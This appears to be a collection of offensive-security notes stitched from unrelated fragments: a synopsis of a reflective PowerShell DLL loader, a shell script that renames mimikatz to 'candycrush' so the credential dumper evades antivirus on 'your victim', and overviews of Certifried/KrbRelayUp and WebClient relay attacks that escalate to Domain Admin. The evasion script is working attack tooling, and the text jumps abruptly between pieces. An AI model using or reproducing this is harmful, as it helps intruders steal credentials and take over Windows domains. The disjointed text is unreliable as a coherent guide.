.SYNOPSIS

This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, 
or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, 
please lead the Notes section (GENERAL NOTES) for information on how to use them.

1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.

# This script downloads and slightly "obfuscates" the mimikatz project.
# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "benjamin@gentilkiwi.com" ..., 
# so removing them from the project before compiling gets us past most of the AV solutions.
# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,
# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.

git clone https://github.com/gentilkiwi/mimikatz.git windows
mv windows/mimikatz windows/candycrush
find windows/ -type f -print0 | xargs -0 sed -i 's/mimikatz/candycrush/g'
find windows/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/CANDYCRUSH/g'

Certifried combined with KrbRelayUp

Certifried (CVE-2022-26923) gives Domain Admin from non-privileged user with the requirement adding computer accounts or owning a computer account. Kerberos Relay targeting LDAP and Shadow Credentials gives a non-privileged domain user on a domain-joined machine local admin access on (aka owning) the machine. Combination of these two: non-privileged domain user escalating to Domain Admin without the requirement adding/owning computer accounts.

The attack below uses only Windows (no Linux tools interacting with the Domain), simulating a real-world attack scenario.

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

• Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
• Relaying that machine authentication to LDAPS for configuring RBCD
• RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.
